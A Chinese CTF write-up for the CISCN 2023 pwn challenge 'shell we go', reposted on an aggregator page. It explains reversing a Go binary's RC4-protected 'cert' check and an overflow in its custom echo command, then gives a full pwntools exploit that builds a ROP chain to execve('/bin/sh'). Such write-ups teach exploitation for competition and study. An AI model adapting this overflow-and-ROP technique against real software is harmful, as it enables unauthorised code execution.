ciscn 2023 初赛 pwn shell we go

news2024/12/21 17:05:47

ciscn 2023 初赛 pwn shell we go

这题go pwn,符号恢复就恢复很长时间了,网上的插件好多都没用
在这里插入图片描述
根着流程,可以看到这里有一个验证,以空格来分割,第一个参数会验证是否为nAcDsMicN
如果第一个参数验证通过,进入判断
在这里插入图片描述
右边的4c14a0是一个重要的处理函数
在这里插入图片描述
如果go符号恢复之后就可以直接发现是一个rc4解密
在这里插入图片描述
解密之后得到密码,判断密码是否为S33UAga1n@#!,如果是的则进入另一个处理流程
在这里插入图片描述
上面验证成功之后可以用echo,这里的echo重写了一下,跟进4c1720
在这里插入图片描述
漏洞点就出在这里,发现echo a b会变成ab,echo a + b为a,如果echo 'a' * 0x100 'b' * 0x200,这个时候会发生一个crash
在这里插入图片描述
经过调试之后发现是由于下面的unk_func0b04:这里的地址被覆盖成了垃圾数据
这个时候就需要用到+号,可以看到上面有一个判断是判断是否为+,如果为+则i++继续,所以就可以避免把一些重要的地址给覆盖掉,最后可以控制ret,一套rop即可

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('123.57.248.214', 27344)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

dbgg()

r.sendline('cert nAcDsMicN S33UAga1n@#!')

p1 = b'echo ' + b'a' * 0x100 + b' ' + b'b' * 0x103 + b"+" * 24 + b'c' * 8
pop_rdi_ret = 0x0000000000444fec
pop_rsi_ret = 0x000000000041e818
pop_rdx_ret = 0x000000000049e11d
pop_rax_ret = 0x000000000040d9e6
syscall = 0x000000000040328c

p1 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x5B0644) + p64(pop_rdx_ret) + p64(0x50) + p64(pop_rax_ret) + p64(0) + p64(syscall)
p1 += p64(pop_rdi_ret) + p64(0x5B0644) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall)

r.sendlineafter('nightingale# ', p1)
r.sendline('/bin/sh\x00')

r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/612072.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Centos7 开启图形化界面 Linux安装VNC

环境: Centos7 windows连接:下载VNC Viewer 目录 VNC概述 VNC原理 一、检查是否安装过VNC 二、安装图形化界面 三、安装和配置VNC服务 四: 启动VNC及常用命令 五: VNC windos连接工具连接 VNC概述 VNC (Virtual Network Computing)是虚拟网络计算机的缩写…

如何零基础自学网络安全?

学前感言: 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了. 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发. 3.有时多 google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答. 4.遇到实在搞不懂的,可以先放放,以后再来解…

性能优化记录

您好,如果喜欢我的文章,可以关注我的公众号「量子前端」,将不定期关注推送前端好文~ 前言 最近零零散散的对刚接手的一个新项目做了一些优化,白屏、打包相关的内容都涉及到了,写一篇文章来记录一下。 白屏相关 DNS…

chatgpt赋能python:Python同一行语句之间的分隔

Python同一行语句之间的分隔 在Python中,同一行内的语句通常使用分号 ‘;’ 分隔开来。分号作为语句之间的分隔符,可以使我们在同一行内写多条语句,从而减少代码行数,提高代码可读性和可维护性。 分隔符和代码风格 在使用分号进…

[C++]基本知识与概念

C基础知识与概念 C与C基础C面向对象C STLC 内存管理C11新特性C linux编程I/O多路复用 前言 本文章适用于有一定C基础的新手同学快速掌握一些C的基本知识概念以及面试中可能会问的内容,如果你没有相应的基础学习又因为这篇文章缺少代码讲解所以可能会影响你的学习效率…

Mysql安装教程(windows)

本文主要讲解如何去安装使用Mysql 一、下载Mysql 1、官网在线下载 MySQL官网:https://www.mysql.com/downloads/ 下载版本:MySQL Installer for Window 2、云盘离线下载 https://pan.baidu.com/s/1dB7kFiwrKpF5W-5XPn2FeQ?pwdrvb9 提取码:…

【图像任务】Transformer系列.2

两篇改进Transformer结构的论文:MAN(arXiv2022),ScalableViT(ECCV2022). Multi-Scale Attention Network for Single Image Super-Resolution, arXiv2022 解读:【ARIXV2209】Multi-Scale Atten…

Java课程设计-学生管理系统《控制台版本》

博主介绍:✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专…

JavaEE(系列20) -- 网络编程之UDP和TCP套接字

目录 1. 网络编程 2. UDP网络编程 2.1 DatagramSocket API 2.2 DatagramPacket API 2.3 基于UDP实现的回显服务器 2.3.1 UDP服务器设计步骤 2.3.2 服务器代码 2.3.3 客户端代码 2.3.4 基于UDP写一个字典服务器 3. TCP网络编程 3.1 ServerSocketAPI 3.2 SocketAPI …

如何不出国一年内拿到加拿大女王大学金融硕士学位证书?

作为加拿大最好的公立大学之一,QueensUniversity位于安大略省的金斯顿市。最近,它在QS全球大学排名中跻身第209位,同时在加拿大的综合排名中名列第7位。这表明女王大学在学术研究和教育方面都有着出色的表现。Queens University坐落于安大略省…

分布式光伏发电远程监控系统

分布式光伏发电远程监控系统 项目背景 新能源、可再生能源接入电网是智能电网建设的重要组成,也是能源互联网发展的基础。近年来,太阳能光伏发电技术快速发展,光伏发电并网对配电网的影响也不断加深。电网调度人员需要人工参与光伏发电站的发…

RK3588+FPGA+Cameralink高速相机解决方案

1. 视频接入,其中可见使用LVDS,红外使用cameralink 2. H264低倍率压缩编码本地存储 3. H264压缩使用同步422接口或者网口UDP协议输出实时码流 4. 使用串口进行通讯,进行类似于可见、红外或者激光器或者地面控制软件等之间的通讯 5. 使用网…

SpringBoot3-基础配置和多环境开发

1. 配置文件格式 提供三种属性配置方式,当三个配置文件都有,加载顺序从前至后 示例第二种(主要也是用这个): 2. yaml格式 3. yaml读取数据格式的三种方式 第一种,使用Value读取单一属性数据 Value("${…

基于redis实现消息队列(更推荐使用专业的mq)

目录 利用redis实现消息队列(基于list,点对点模型)——lpush存放队列(lpush 队列名 队列内容(可一次存放多个内容,用空格隔开)) brpop取队列(brpop 队列名 等待时间单位秒…

机器视觉日常习题(更新中。。。)

目录 第二讲 图像处理概述 第二讲 图像处理概述 几何变换:又称为图像空间变换,它将一幅图像中的坐标位置映射到另一幅图像中的新坐标位置。图像分割:把图像分成各具特色的区域并提取感兴趣目标的技术和过程。图像边缘: 平滑&#…

【深入浅出 Spring Security(六)】一文搞懂密码的加密和比对

Spring Security 中的密码加密 一、PasswordEncoder 详解常见的实现类(了解)DelegatingPasswordEncoder源码分析DelegatingPasswordEncoder 在哪实例化的? 二、自定义加密自定义方式一:使用{id}的形式自定义方式二:向S…

程序员失业转行送外卖,晒出当天收入,还以为看错了!

在程序员的共识中,30岁之前自己是很受企业欢迎的,有经验有技术,能够为公司创造足够多的价值。 但是一旦超过了35岁,如果没有做到架构师或者成为管理人员,那很可能是连工作都找不到的。而且这个年龄的程序员还要面临着…

700MHz设备对广播电视信号的干扰有哪些?

700MHz,由于其较长的波长,良好的传播与覆盖特性,不仅一直被多国用作广播电视信号频率,4G LTE和5G NR也同样看好这一频段,并在此频段上进行了相应的部署和规划。目前已经有超过45个国家和地区,将700MHz频段部…

【网络安全】企业应急响应基础技能

windows 任务计划列表 1. 计算机管理窗口,选择 系统工具 中 任务计划程序 中的 任务计划程序库选项 可以查看任务计划的名称,状态,触发器等详细信息 2.powershell中输入get-scheduledtask 可以查看当前系统所有任务计划信息 任务路径,名称,状态等详细信息 3.命令行中输入s…

C++11:右值引用,实现移动语义和完美转发

目录 1、右值引用 2、移动语义(std::move) 3、完美转发(std::forward) 1、右值引用 右值引用(Rvalue reference)是C11引入的一个新特性,它是一种新的引用类型,用于表示将要被移动…